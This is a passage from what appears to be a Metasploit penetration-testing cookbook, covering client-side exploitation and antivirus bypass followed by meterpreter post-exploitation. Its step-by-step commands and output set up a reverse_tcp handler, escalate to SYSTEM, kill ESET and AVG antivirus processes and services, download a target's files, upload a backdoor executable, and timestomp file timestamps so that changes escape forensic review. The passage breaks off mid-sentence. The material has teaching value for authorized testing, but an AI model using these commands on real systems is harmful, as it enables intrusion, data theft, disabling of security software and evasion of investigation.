"text": "Chapter 4\n105\nGetting ready\nLet us start with a quick introduction to meterpreter. Meterpreter is an advanced payload that \ngreatly enhances the power of command execution on the target machine. It is a command \ninterpreter which works by in-memory DLL injection and provides us with lots of advantages \nover traditional command interpreters (generally exists with shell codes) as it is more flexible, \nstable, and extensible. It can work as if several payloads are working together on the target \nmachine. It communicates over the stager socket and provides a comprehensive client-side \nruby API. We can get a meterpreter shell by using the payloads available in the windows/\nmeterpreter directory. In this recipe, we will be using the windows/meterpreter/\nreverse_tcp payload and our target machine is Windows 7 running ESET NOD32 antivirus.\nLet us set up our listener in msfconsole and wait for a back connection.\nmsf > use multi/handler\nmsf exploit(handler) > set payload windows/meterpreter/reverse_tcp\npayload => windows/meterpreter/reverse_tcp\nmsf exploit(handler) > show options\nModule options (exploit/multi/handler):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\nPayload options (windows/meterpreter/reverse_tcp):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n EXITFUNC process yes Exit technique: seh..\n LHOST 192.168.56.101 yes The listen address\n LPORT 4444 yes The listen port\nExploit target:\n Id Name\n"
},
{
"page_number": 121,
"text": "Client-side Exploitation and Antivirus Bypass\n106\n -- ----\n 0 Wildcard Target\nmsf exploit(handler) > exploit\n[*] Started reverse handler on 192.168.56.101:4444 \n[*] Starting the payload handler...\nHow to do it...\n1.\t So our listener in now ready. Once the client-side attack executes successfully \non the target, we will have a meterpreter session opened in msfconsole.\n[*] Sending stage (752128 bytes) to 192.168.56.1\n[*] Meterpreter session 2 opened (192.168.56.101:4444 -> \n192.168.56.1:49188) at 2011-11-29 13:26:55 +0530\nmeterpreter > \n2.\t Now, we are all set to leverage the powers of meterpreter in our experiment of killing \nantivirus. The first command we will execute is getuid which gives us the username \nof the system in which we broke in. The user can be either the main administrator or \na less privileged user.\nmeterpreter > getuid\nServer username: DARKLORD-PC\\DARKLORD\n3.\t It doesn't looks like we have the administrator privilege in the system we just \npenetrated. So the next step will be to escalate our privilege to administrator so \nthat we can execute commands on the target without interruption. We will use the \ngetsystem command which attempts to elevate our privilege from a local user \nto administrator. \nmeterpreter > getsystem\n...got system (via technique 4)..\n4.\t As we can see that getsystem has successfully elevated our privilege on the \npenetrated system using technique 4 which is KiTrap0D exploit. We can check \nour new escalated ID by again using the getuid command.\nmeterpreter > getuid\nServer username: NT AUTHORITY\\SYSTEM\n"
},
{
"page_number": 122,
"text": "Chapter 4\n107\n5.\t So now we have the main administrator rights. The next step will be to run the ps \ncommand which lists all the running processes on the system. We will have to look at \nthose processes that control the antivirus running on the target machine (output has \nbeen shortened to fit). \n PID Name User Path\n --- ---- ---- ----\n \n 1060 svchost.exe NT AUTHORITY\\SYSTEM C:\\Windows\\System32\\.\n 1096 svchost.exe NT AUTHORITY\\SYSTEM C:\\Windows\\system32\\.\n 1140 stacsv.exe NT AUTHORITY\\SYSTEM C:\\Windows\\System32\\.\n 1152 dsmonitor.exe DARKLORD-PC\\DARKLORD C:\\Program Files\\Uni.\n 1744 egui.exe DARKLORD-PC\\DARKLORD C:\\Program Files\\ESET\\\nESET NOD32 Antivirus\\egui.exe\n 1832 eset.exe NT AUTHORITY\\SYSTEM C:\\Program Files\\ESET\\\nESET NOD32 Antivirus\\eset.exe\n6.\t From the Name and Path columns, we can easily identify the processes that belong \nto an antivirus instance. In our case, there are two processes responsible for antivirus \nprotection on the target system. They are egui.exe and eset.exe. Let us see how \nwe can use the Metasploit to kill these processes.\nHow it works...\nMeterpreter provides a very useful script named killav.rb which can be used to kill the \nantivirus processes running on the target system and, thus, disable it. Let us try this script \non our Windows 7 target which is running ESET NOD32 antivirus.\n meterpreter > run killav\n[*] Killing Antivirus services on the target...\nThe run command is used to execute Ruby scripts in meterpreter. Once the script has \nexecuted, we can again check the running processes on the target in order to make sure \nthat all the antivirus processes have been killed. If none of the antivirus processes are \nrunning, then it means that the antivirus has been temporarily disabled on the target \nmachine and we can now move ahead with our penetration testing process.\nBut what if the processes are still running? Let's find out the solution in the next recipe.\n"
},
{
"page_number": 123,
"text": "Client-side Exploitation and Antivirus Bypass\n108\nA deeper look into the killav.rb script\nContinuing from our previous recipe, we focused on how to kill running antivirus processes \non the target machine using the killav.rb script. But, what if the processes are still running \nor they were not killed even after using the script? There can be two reasons for it. Either \nthe killav.rb doesn't include those processes in its list to kill or the antivirus process \nis running as a service. In this recipe, we will try to overcome the problems. So let's quickly \nmove on to our recipe.\nGetting ready\nWe will start with the same meterpreter session where we ended our previous recipe. We have \nused the killav.rb script once, but still the antivirus processes are running. We can view \nthe running processes by using the ps command.\nPID Name User Path\n --- ---- ---- ----\n \n 1060 svchost.exe NT AUTHORITY\\SYSTEM C:\\Windows\\System32\\.\n 1096 svchost.exe NT AUTHORITY\\SYSTEM C:\\Windows\\system32\\.\n 1140 stacsv.exe NT AUTHORITY\\SYSTEM C:\\Windows\\System32\\.\n 1152 dsmonitor.exe DARKLORD-PC\\DARKLORD C:\\Program Files\\Uni.\n 1744 egui.exe DARKLORD-PC\\DARKLORD C:\\Program Files\\ESET\\ESET \nNOD32 Antivirus\\egui.exe\n 1832 eset.ece NT AUTHORITY\\SYSTEM C:\\Program Files\\ESET\\ESET \nNOD32 Antivirus\\eset.exe\nAs we can see, the two antivirus processes are still alive even after using the killav.rb \nscript. Let us start with giving a look at the killav.rb script.\n"
},
{
"page_number": 124,
"text": "Chapter 4\n109\nHow to do it...\n1.\t To view and edit the killav.rb script, open a new terminal window and browse \nto /pentest/exploits/framework3/scripts/meterpreter.\nroot@bt: cd /pentest/exploits/framework3/scripts/meterpreter\nroot@bt:/pentest/exploits/framework3/scripts/meterpreter# vim \nkillav.rb\n2.\t vim is a quick editor for files in Unix. It will open the whole script on our screen. Scroll \ndown to find the various processes listed in it. These are the processes that the script \nlooks for to kill. Check the entire list to look for eset.exe and egui.exe. If they are \nnot available, then add the two processes in the script. To start the editing mode in \nvim, press the a key. It will start the insert mode. Now add the two processes in the \nscript's process list.\n@@exec_opts.parse(args) { |opt, idx, val|\n case opt\n when \"-h\"\n usage\n end\n} \nprint_status(\"Killing Antivirus services on the target...\")\navs = %W{\n egui.exe\n eset.exe\n AAWTray.exe\n Ad-Aware.exe\n MSASCui.exe\n _avp32.exe\n3.\t The following code snippet shows the two processes added at the top of the list. \nTo exit the insert mode, press the esc key. Now to save the script, press the : key. \nYou will reach a mini command prompt of the vim editor. Now type wq to save and \nexit the editor.\n:wq \n4.\t Now go back to the meterpreter session and execute the killav.rb script again, \nand notice what happens.\nmeterpreter > run killav.rb\n[*] Killing Antivirus services on the target...\n"
},
{
"page_number": 125,
"text": "Client-side Exploitation and Antivirus Bypass\n110\n[*] Killing off egui.exe...\n[*] Killing off eset.exe…\n5.\t The output of the command execution shows that the script successfully killed the \ntwo processes. Now, in order to verify whether all the antivirus processes have been \nkilled or not, we will again execute the ps command to cross check (output shortened \nto fit).\nmeterpretr> ps\nPID Name User Path\n --- ---- ---- ----\n \n 1060 svchost.exe NT AUTHORITY\\SYSTEM C:\\Windows\\System32\\.\n 1096 svchost.exe NT AUTHORITY\\SYSTEM C:\\Windows\\system32\\.\n 1140 stacsv.exe NT AUTHORITY\\SYSTEM C:\\Windows\\System32\\.\n 1152 dsmonitor.exe DARKLORD-PC\\DARKLORD C:\\Program Files\\Uni.\nYou will find that there are no active processes for ESET antivirus. This shows that the script \nsuccessfully killed the antivirus program. This example clearly shows how we can increase the \nefficiency of in-built scripts by adding our own inputs into it.\nHow it works...\nLet us give a quick look at the killav.rb script which we have actively used in this recipe. \nThe script contains a whole list of processes in an array (%W) which it looks for on the target \nmachine to kill.\nclient.sys.process.get_processes().each do |x|\n if (avs.index(x['name'].downcase))\n print_status(\"Killing off #{x['name']}...\")\n client.sys.process.kill(x['pid'])\n end\nend\nThe last few lines of the code are self-explanatory. The script looks for a match for processes \nrunning on the target system with its array. When a match is found, it uses the process.\nkill function to kill the process. This loop continues until all the elements of the array are \nmatched with the available processes.\n"
},
{
"page_number": 126,
"text": "Chapter 4\n111\nKilling antivirus services from the \ncommand line\nIn the previous recipe, we gave two reasons to why the antivirus process is still running even \nafter using the killav.rb script. In the previous recipe, we addressed the first issue, that is, \nthe killav.rb list doesn't include the processes to be killed. In this recipe, we will address \nthe second issue that the antivirus program is running as a service on the target machine. \nBefore we proceed, let us first understand the difference between a process and a service.\nA process is any piece of software that is running on a computer. Some processes start when \nyour computer boots, others are started manually when needed. Some processes are services \nthat publish methods to access them, so other programs can call them as needed. A process \nis user-based, whereas a service is system-based.\nAntivirus can also run some components as a service such as e-mail filters, web access filters, \nand so on. The killav.rb script cannot kill services. So, even if we kill the processes using \nkillav.rb, the antivirus service will immediately start them again. So even if killav.rb is \nkilling all the antivirus processes and still they are listed every time we use the ps command, \nthen it can be concluded that some component of antivirus is running as a service which is \nresponsible for restarting the processes repeatedly.\nGetting ready\nWe will start with a scenario in which the target machine is a Windows 7 machine running \nAVG 10 antivirus. I am assuming that we already have an active meterpreter session with the \ntarget machine with administrative privilege.\nHow to do it...\n1.\t This recipe will use the Windows command prompt. So we will start off by opening \na command prompt shell with the target.\nmeterpreter > shell\nProcess 3324 created.\nChannel 1 created.\nC:\\WINDOWS\\system32>\n"
},
{
"page_number": 127,
"text": "Client-side Exploitation and Antivirus Bypass\n112\n2.\t Now, we will use the tasklist command to look for various available tasks. Adding \nthe /SVC parameter will list only those processes which are running as a service. \nAs we know that the target machine is using AVG antivirus, we can add a wild card \nsearch to list only those services which belong to avg. So our command-line will look \nas follows:\nC:\\WINDOWS\\system32>tasklist /SVC | find /I \"avg\"\ntasklist /SVC | find /I \"avg\"\navgchsvx.exe 260 N/A \navgrsx.exe 264 N/A \navgcsrvx.exe 616 N/A \nAVGIDSAgent.exe 1664 AVGIDSAgent \navgwdsvc.exe 116 avg9wd \navgemc.exe 1728 avg9emc \nSo we have a whole list or services and processes for AVG antivirus. The next \nstep will be to issue the taskkill command to kill these tasks and disable the \nantivirus protection.\n3.\t We can again give a wild card search to kill all tasks that have avg as the \nprocess name.\nC:\\WINDOWS\\system32>taskkill /F /IM \"avg*\"\nThe /F parameter is used to force kill the process. This will ultimately kill the various antivirus \nservices running on the target machine. This recipe has lots of areas to explore. You may \nencounter some problems, but they can be overcome by following the right set of commands.\nHow it works...\nKilling services from the command line simply evokes calls to the operating system which \ndisables the particular service. Once we have an active shell session with our target, we can \nevoke these calls on behalf of the command line through our shell.\nThere's more...\nLet us conclude this recipe with some final notes on what to do if the antivirus service \nis still alive.\n"
},
{
"page_number": 128,
"text": "Chapter 4\n113\nSome services did not kill—what next?\nThis can be due to several reasons. You may get an error for some services when you give \nthe taskkill command. To overcome this, we can use the net stop and sc config \ncommands for such services. I would recommend that you read about these two commands \nfrom Microsoft's website and understand their usage. They can help us kill or disable even \nthose services that do not stop with the taskkill command.\n"
},
{
"page_number": 129,
"text": ""
},
{
"page_number": 130,
"text": "5\nUsing Meterpreter \nto Explore the \nCompromised Target\nIn this chapter, we will cover the following:\nf\nf\nAnalyzing meterpreter system commands\nf\nf\nPrivilege escalation and process migration\nf\nf\nSetting up multiple communication channels with the target\nf\nf\nMeterpreter filesystem commands\nf\nf\nChanging file attributes using timestomp\nf\nf\nUsing meterpreter networking commands\nf\nf\nThe getdesktop and keystroke sniffing\nf\nf\nUsing a scraper meterpreter script\nIntroduction\nSo far we have laid more stress on the pre-exploitation phase in which we tried out various \ntechniques and exploits to compromise our target. In this chapter, we will lay stress on \nthe post-exploitation phase—what we can do after we have exploited the target machine. \nMetasploit provides a very powerful post-exploitation tool named meterpreter that provides \nus with many features that can ease our task of exploring the target machine. We have \nalready seen the use of meterpreter and post-exploitation in the previous chapter of antivirus \nbypass. In this chapter, we will understand in detail about meterpreter and how to use it as a \npotential tool for the post-exploitation phase.\n"
},
{
"page_number": 131,
"text": "Using Meterpreter to Explore the Compromised Target\n116\nWe have been using payloads in order to achieve specific results but they have a major \ndisadvantage. Payloads work by creating new processes in the compromised system. \nThis can trigger alarms in the antivirus programs and can be caught easily. Also, a payload \nis limited to perform only some specific tasks or execute specific commands that the shell \ncan run. To overcome these difficulties meterpreter came into light.\nMeterpreter is a command interpreter for Metasploit that acts as a payload and works by \nusing in memory DLL injection and a native shared object format. It works in context with \nthe exploited process, hence it does not create any new process. This makes it more stealthy \nand powerful. \nLet us give a look at how meterpreter functions. The following diagram shows a simple \nstepwise representation of loading meterpreter:\nExploit + 1st Stage Payload\nPayload Connects back to MSF\n2nd Stage DLL Injection Payload Sent\nMSF Sends Meterpreter Server DLL\nClient and Server Communicate\nIn the first step, the exploit and first stage payload is sent to the target machine. After \nexploitation, the stager binds itself to the target with a specific task and tries to connect \nback to the attacking msfconsole and a proper communication channel is set up. Now the \nstager loads the DLL. msfconsole and sends the second stage DLL injection payload. After \nsuccessful injection, MSF sends the meterpreter DLL to establish a proper communication \nchannel. Lastly, meterpreter loads extensions such as stdapi and priv. All these extensions \nare loaded over TLS/1.0 using a TLV protocol. Meterpreter uses encrypted communication \nwith the target user that is another major advantage of using it. Let us quickly summarize \nthe advantages of meterpreter over specific payloads:\nf\nf\nIt works in context with the exploited process, so it doesn't create a new process\nf\nf\nIt can migrate easily among processes\nf\nf\nIt resides completely in the memory, so it writes nothing on disk\nf\nf\nIt uses encrypted communications\n"
},
{
"page_number": 132,
"text": "Chapter 5\n117\nf\nf\nIt uses a channelized communication system, so that we can work with several \nchannels at a time\nf\nf\nIt provides a platform to write extensions quickly and easily\nThis chapter is dedicated entirely towards exploring the target machine by using the various \ncommands and scripts that meterpreter provides us with. We will start with analyzing common \nmeterpreter commands. Then, we will move ahead with setting up different communication \nchannels, use of networking commands, key sniffing, and so on. Finally, we will discuss the \nscraper meterpreter script which can create a single directory containing various pieces of \ninformation about the target user. In this chapter, we will focus mainly on those commands \nand scripts which can be helpful in exploring the compromised system.\nSo let us move ahead with the recipes to dive deeper into meterpreter.\nAnalyzing meterpreter system commands\nLet us start using meterpreter commands to understand their functionality. As it is a post \nexploitation tool, we will require a compromised target to execute the commands. We will be \nusing a Windows 7 machine as a target that we have exploited using browser vulnerability. \nYou can refer to the Internet Explorer CSS recursive call memory corruption recipe in \nChapter 4, Client-side Exploitation and Antivirus Bypass, for further details.\nGetting ready\nAfter compromising the Windows 7 target machine, we will have a meterpreter session \nstarted as we have used the windows/meterpreter/bind_tcp payload. We will start \noff by using a simple ? command that will list all the available meterpreter commands, \nalong with a short description:\nmeterpreter > ? \nTake a quick look at the entire list. Many of the commands are self-explanatory.\nHow to do it...\nLet us start with some useful system commands.\nf\nf\nbackground: This command is used to set the current session as background, \nso that it can be used again when needed. This command is useful when there \nare multiple active meterpreter sessions.\n"
},
{
"page_number": 133,
"text": "Using Meterpreter to Explore the Compromised Target\n118\nf\nf\ngetuid: This command returns the username that is running, or in which we broke \nin, on the target machine.\nmeterpreter > getuid\nServer username: DARKLORD-PC\\DARKLORD\nf\nf\ngetpid: This command returns the process ID in which we are currently running \nthe meterpreter.\nmeterpreter > getpid\nCurrent pid: 4124\nf\nf\nps: This command will list all the running processes on the target machine. \nThis command can be helpful in identifying various services and software \nrunning on the target.\nmeterpreter > ps\n PID Name Arch Session User \n --- ---- ------- ---- \n 0 [System Process] \n1072 svchost.exe \n1172 rundll32.exe x86 1 DARKLORD-PC\\DARKLORD \nf\nf\nsysinfo: This is a handy command to quickly verify the system information, such as \nthe operating system and architecture.\nmeterpreter > sysinfo\nComputer : DARKLORD-PC\nOS : Windows 7 (Build 7264).\nArchitecture : x86\nSystem Language : en_US\nMeterpreter : x86/win32\nf\nf\nshell: This command takes us into a shell prompt. We have already seen the use \nof this meterpreter command in some of our previous recipes.\nmeterpreter > shell\nProcess 4208 created.\nChannel 1 created.\nMicrosoft Windows [Version 6.1.7264]\nCopyright (c) 2009 Microsoft Corporation. All rights reserved.\n"
},
{
"page_number": 134,
"text": "Chapter 5\n119\nf\nf\nexit: This command is used to terminate a meterpreter session. This command can \nalso be used to terminate the shell session and return back to meterpreter.\nThese were a few useful system commands that can be used to explore the compromised \ntarget to gain more information about it. There are lots of other commands, which I am \nleaving for you to try and explore. You might have noticed how easy it is to use the meterpreter \ncommands and explore the target that, in turn, would have been a difficult task without it. \nIn our next recipe, we will focus on some advanced meterpreter commands.\nHow it works...\nMeterpreter works like any command interpreter. It is designed to understand and respond \nto various parameter calls through commands. It resides in the context of an exploited/\ncompromised process and creates a client/server communication system with the \npenetration tester's machine.\nMeterpreter command\nCommunication Channel\nMeterpreter Server response\nPen-testing machine\nMeterpreter\nprocess\nExploited\nprocess\nThe preceding diagram demonstrates the functioning of meterpreter in a nutshell. Once the \ncommunication channel is set up, we can send command calls to the meterpreter server to \nget its response back to our machine. We will understand the communication between the \npen-testing machine and the compromised target in greater detail as we move ahead with \nthis chapter.\nPrivilege escalation and process migration\nIn this recipe, we will focus on two very useful commands of meterpreter. The first one is for \nprivilege escalation. This command is used to escalate the rights/authority on the target \nsystem. We might break in as a user who has less privilege to perform tasks on the system. \nSo, we can escalate our privilege to the system admin in order to perform our tasks without \ninterruption. The second command is for process migration. This command is used to \nmigrate from one process to another process without writing anything on the disk.\n"
},
{
"page_number": 135,
"text": "Using Meterpreter to Explore the Compromised Target\n120\nHow to do it...\nIn order to escalate our privilege, meterpreter provides us with the getsystem command. \nThis command automatically starts looking out for various possible techniques by which the \nuser rights can be escalated to a higher level. Let us analyze different techniques used by the \ngetsystem command:\nmeterpreter > getsystem –h\nUsage: getsystem [options]\nAttempt to elevate your privilege to that of local system.\nOPTIONS:\n -t The technique to use. (Default to '0').\n 0 : All techniques available\n 1 : Service - Named Pipe Impersonation (In Memory/Admin)\n 2 : Service - Named Pipe Impersonation (Dropper/Admin)\n 3 : Service - Token Duplication (In Memory/Admin)\n 4 : Exploit - KiTrap0D (In Memory/User)\nHow it works...\nThere are three different techniques by which the getsystem command tries to escalate \nprivilege on the target. The default value 0 tries for all the listed techniques unless a \nsuccessful attempt is made. Let us take a quick look at these escalation techniques.\nA named pipe is a mechanism that enables inter-process communication for applications to \noccur locally or remotely. The application that creates the pipe is known as the pipe server, \nand the application that connects to the pipe is known as the pipe client. Impersonation is \nthe ability of a thread to execute in a security context different from that of the process that \nowns the thread. Impersonation enables the server thread to perform actions on behalf of \nthe client, but within the limits of the client's security context. The problem arises when the \nclient has more rights than the server. This scenario would create a privilege escalation attack \ncalled a Named Pipe Impersonation escalation attack.\nA detailed article on Named Pipe Impersonation can be found \nat http://hackingalert.blogspot.com/2011/12/\nnamedpipe-impersonation-attacks.html.\n"
},
{
"page_number": 136,
"text": "Chapter 5\n121\nEvery user of an operating system is provided with a unique token ID. This ID is used to check \nthe permission levels of various users of the system. Token duplication works by copying \nof a token ID of a higher privilege user by a low privilege user. The lower privilege user then \nbehaves in a similar manner as the higher privilege user and it holds all the rights and \nauthorities as that of the higher privilege user. \nThe KiTrapOD exploit was released in early 2010, which affected nearly every operating \nsystem that Microsoft had made until then. When access to 16-bit applications is enabled on \na 32-bit x86 platform, it does not properly validate certain BIOS calls. This allows local users \nto gain privileges by crafting a VDM_TIB data structure in the Thread Environment Block \n(TEB), to improperly handled exceptions involving the #GP trap handler (nt!KiTrap0D), a.k.a. \n\"Windows Kernel Exception Handler Vulnerability.\"\nNow that we have understood the various escalation techniques used by the getsystem \ncommand, our next step will be to execute the command on our target to see what happens. \nFirst, we will use the getuid command to check our current user ID, and then we will try to \nescalate our privilege by using the getsystem command:\nmeterpreter > getuid\nServer username: DARKLORD-PC\\DARKLORD\nmeterpreter > getsystem\n...got system (via technique 1).\nmeterpreter > getuid\nServer username: NT AUTHORITY\\SYSTEM\nAs you can see that previously we were a less privileged user and after using the getsystem \ncommand we escalated our privilege to System user.\nThe next important meterpreter command that we are going to discuss is the migrate \ncommand. This command is used to migrate from one process context to another. This \ncommand is helpful in situations where the current process, in which we have broken, in might \ncrash. For example, if we use a browser exploit to penetrate the system, then the browser may \nhang after exploitation and the user may close it. So migrating to a stable system process can \nhelp us perform our penetration testing smoothly. We can migrate to any other active process \nby using the process ID. The ps command can be used to identify the ID of all active processes. \nFor example, if the ID of explorer.exe is 2084, then we can migrate to explorer.exe by \nexecuting the following command:\nmeterpreter > migrate 2084\n[*] Migrating to 2084...\n[*] Migration completed successfully.\n"
},
{
"page_number": 137,
"text": "Using Meterpreter to Explore the Compromised Target\n122\nThese two meterpreter commands are very handy and are used frequently during penetration \ntesting. Their simplicity and high productivity makes them optimal for usage. In our next recipe \nwe will deal with communication channels and how to use them effectively to communicate \nwith the target. \nSetting up multiple communication channels \nwith the target\nIn this recipe, we will look at how we can set up multiple channels for communication with \nthe target. We have discussed in the chapter's introduction that the communication between \nclient and server in meterpreter is in encrypted form and it uses Type-Length-Value (TLV) \nprotocol for data transfer. The major advantage of using TLV is that it allows tagging of data \nwith specific channel numbers, thus allowing multiple programs running on the victim to \ncommunicate with the meterpreter on the attacking machine. This facilitates in setting up \nseveral communication channels at a time.\nLet us now analyze how to set up multiple communication channels with the target machine \nusing meterpreter. \nGetting ready\nMeterpreter provides us with a specific command named execute which can be used to start \nmultiple communication channels. To start with, let us run the execute –h command to see \nthe available options:\nmeterpreter > execute –h\nUsage: execute -f file [options]\nExecutes a command on the remote machine.\nOPTIONS:\n -H Create the process hidden from view.\n -a The arguments to pass to the command.\n -c Channelized I/O (required for interaction).\n -d The 'dummy' executable to launch when using -m.\n -f The executable command to run.\n -h Help menu.\n -i Interact with the process after creating it.\n"
},
{
"page_number": 138,
"text": "Chapter 5\n123\n -k Execute process on the meterpreters current desktop\n -m Execute from memory.\n -s Execute process in a given session as the session user\n -t Execute process with currently impersonated thread token\nYou can see the various parameters available to us with the execute command. Let us use \nsome of these parameters in setting up multiple channels. \nHow to do it...\nTo start with creating channels, we will use the –f operator with the execute command:\nmeterpreter > execute -f notepad.exe –c\nProcess 5708 created.\nChannel 1 created.\nNotice the use of different parameters. The –f parameter is used for setting an executable \ncommand and the –c operator is used to set up a channelized I/O. Now we can again run \nthe execute command to start another channel without terminating the current channel:\nmeterpreter > execute -f cmd.exe –c\nProcess 4472 created.\nChannel 2 created.\nmeterpreter > execute -f calc.exe –c\nProcess 6000 created.\nChannel 3 created.\nNow we have three different channels running simultaneously on the victim machine. To list \nthe available channels, we can use the channel –l command. If we want to send some data \nor write something on a channel, we can use the write command followed by the channel ID \nwe want to write in. Let us go ahead and write a message in one of our active channels:\nmeterpreter > write 5\nEnter data followed by a '.' on an empty line:\nMetasploit!!\n.\n[*] Wrote 13 bytes to channel 5.\n"
},
{
"page_number": 139,
"text": "Using Meterpreter to Explore the Compromised Target\n124\nExecuting the write command along with the channel ID prompted us to enter our data \nfollowed by a dot. We successfully wrote Metasploit!! on the channel. In order to read \nthe data of any channel, we can use the read command followed by the channel ID.\nFurther, if we want to interact with any channel, we can use the interact command followed \nby the channel ID:\nmeterpreter > interact 2\nInteracting with channel 2...\nMicrosoft Windows [Version 6.1.7264]\nCopyright (c) 2009 Microsoft Corporation. All rights reserved.\nC:\\Users\\DARKLORD\\Desktop>\nAs you can see that our channel 2 was a command prompt channel so by using the \ninteract command, we are directly dropped into the command prompt mode from where \nwe can execute system commands. We can easily switch between channels by using the \ninteract command. In order to end a channel, we can use the close command followed \nby the channel ID.\nThis recipe demonstrates the power of using multiple channels. It also shows how easy it is \nto manage them simultaneously and switch between different channels. The use of channels \nbecomes important when we are running multiple services on the target machine.\nIn the next recipe, we will focus on exploring the file system of the target machine \nusing meterpreter.\nHow it works...\nMetasploit tags each message with a separate channel ID which helps it in identifying the \nchannel context in which the particular command should be executed. As stated earlier, the \ncommunication process in meterpreter follows the TLV protocol which gives the flexibility \nof tagging different messages with specific channel IDs in order to provide multi-channel \ncommunication support.\nMeterpreter filesystem commands\nIn this recipe, we will move ahead with filesystem commands. These commands can be helpful \nin exploring the target system to perform various tasks such as searching for files, downloading \nfiles, and changing directory. You will notice how easy it is to control the target machine using \nmeterpreter. So let us start working with some of the useful filesystem commands.\n"
},
{
"page_number": 140,
"text": "Chapter 5\n125\nHow to do it...\nWe will start with the simple pwd command which lists our present working directory on the \ntarget machine. Similarly, we can use the cd command to change our working directory to our \npreferred location:\nmeterpreter > pwd\nC:\\Users\\DARKLORD\\Desktop\nmeterpreter > cd c:\\\nmeterpreter > pwd\nc:\\\nAs you can see, we first listed our working directory using the pwd command and then \nchanged our working directory to c: by using the cd command. We can also use the ls \ncommand to list the available files in the current directory.\nNow that we can work with directories, our next task will be to search for files on the drive. \nIt will be very tedious to browse every directory and sub-directory to look for files. We can use \nthe search command to quickly search for specific file types. Consider the following example:\nmeterpreter > search -f *.doc -d c:\\\nThis command will search for all files in the C drive having .doc as the file extension. The \n–f parameter is used to specify the file pattern to search for and the –d parameter tells the \ndirectory which file is to be searched.\nSo once we have searched for our specific file, the next thing we can do is download the \nfile locally on the target machine. Let us first try to download the file to our attacking system:\nmeterpreter > download d:\\secret.doc /root\n[*] downloading: d:secret.doc -> /root/d:secret.doc\n[*] downloaded : d:secret.doc -> /root/d:secret.doc\nBy using the download command, we can successfully download any file from the target \nmachine to our machine. The d:\\secret.doc file gets downloaded in the root folder \nof our attacking machine.\nSimilarly, we can use the upload command to send any file to the target machine:\nmeterpreter > upload /root/backdoor.exe d:\\\n[*] uploading : /root/backdoor.exe -> d:\\\n[*] uploaded : /root/backdoor.exe -> d:\\\\backdoor.exe\n"
},
{
"page_number": 141,
"text": "Using Meterpreter to Explore the Compromised Target\n126\nFinally, we can use the del command to delete a file or a directory from the target machine.\nmeterpreter > del d:\\backdoor.exe\nHow it works...\nMeterpreter gives us complete access to the target machine by setting up an interactive \ncommand prompt. We can also drop a shell session to work in the default windows DOS \nmode but it will not have as many functionalities. This was a quick reference to some of \nthe important filesystem commands of meterpreter, which can help us in exploring the files \npresent on the target machine. There are more commands as well; it is recommended that \nyou should try them out and find the various possibilities that can exist.\nIn the next recipe, we will look at a very interesting meterpreter command called timestomp \nthat can be used to modify the file attributes on the target machine.\nChanging file attributes using timestomp\nIn the previous recipe, we read about some of the important and useful meterpreter file \nsystem commands that can be used to perform various tasks on the target machine. \nMeterpreter contains another interesting command called timestomp. This command \nis used to change the Modified-Accessed-Created-Entry (MACE) attributes of a file. The \nattribute value is the date and time when any of the MACE activities occurred with the file. \nUsing the timestomp command, we can change these values.\nGetting ready\nBefore starting with the recipe, there is a question that may strike in your mind. Why change \nthe MACE values? Hackers generally use the technique of changing the MACE values so as to \nmake the target user feel that the file has been present on the system for long and that it has \nnot been touched or modified. In case of suspicious activity, the administrators may check for \nrecently modified files to find out if any of the files have been modified or accessed. So, using \nthis technique, the file will not appear in the list of recently accessed or modified items. Even \nthough there are other techniques as well, to find out if the file attributes have been modified, \nthis technique can still be handy.\nLet's pick up a file from the target machine and change its MACE attributes. The following \nscreenshot shows the various MACE values of a file before using timestomp:\n"
},
{
"page_number": 142,
"text": "Chapter 5\n127\nNow we will move ahead to change the various MACE values. Let us start with the common \ntimestomp –h command that is used to list the various available options. We can use the \n–v operator to list the values of MACE attributes: \nmeterpreter > timestomp d:\\secret.doc –v\nModified : 2011-12-12 16:37:48 +0530\nAccessed : 2011-12-12 16:37:48 +0530\nCreated : 2011-12-12 16:37:47 +0530\nEntry Modified: 2011-12-12 16:47:56 +0530\nHow to do it...\nWe will start with changing the creation time of the file. Notice the various parameters passed \nwith the timestomp command:\nmeterpreter > timestomp d:\\secret.doc -c \"3/13/2013 13:13:13\"\n[*] Setting specific MACE attributes on d:secret.doc\n"
},
{
"page_number": 143,
"text": "Using Meterpreter to Explore the Compromised Target\n128\nHow it works...\nThe –c operator is used to change the creation time of the file. Similarly, we can use \nthe –m and –a operators to change the modified and last accessed attributes of the file:\nmeterpreter > timestomp d:\\secret.doc -m \"3/13/2013 13:13:23\"\n[*] Setting specific MACE attributes on d:secret.doc\nmeterpreter > timestomp d:\\secret.doc -a \"3/13/2013 13:13:33\"\n[*] Setting specific MACE attributes on d:secret.doc\nOnce the attributes have been changed, we can again use the –v operator to check and verify \nwhether we have successfully executed the commands or not. Let us move ahead and check \nthe file attributes again:\nmeterpreter > timestomp d:\\secret.doc –v\nModified : 2013-03-13 13:13:13 +0530\nAccessed : 2013-03-13 13:13:23 +0530\nCreated : 2013-03-13 13:13:33 +0530\nEntry Modified: 2013-03-13 13:13:13 +0530\nBingo! We have successfully modified the MACE attributes of the file. Now this file can be \neasily hidden from the list of recently modified or recently accessed files.\nAlternatively, we can also use the –z operator to change all four MACE values in a go. \nWe will not have to pass the commands separately for each of them. But the –z operator will \nassign the same values to all four MACE attributes that is practically not possible. There has \nto be some time difference between creation and accessed time. So, the use of the –z \noperator should be avoided.\nThis was a small recipe dealing with the timestomp utility. In the next recipe, we will look at \nsome of the useful meterpreter networking commands that will be of great use to us when we \nwill understand pivoting. \nUsing meterpreter networking commands\nMeterpreter provides us some useful networking commands as well. These commands can \nbe useful in understanding the network structure of the target user. We can analyze whether \nthe system belongs to a LAN or it is a standalone system. We can also know the IP range, \nDNS, and other information as well. Such network information can be useful when we have to \n"
},
{
"page_number": 144,
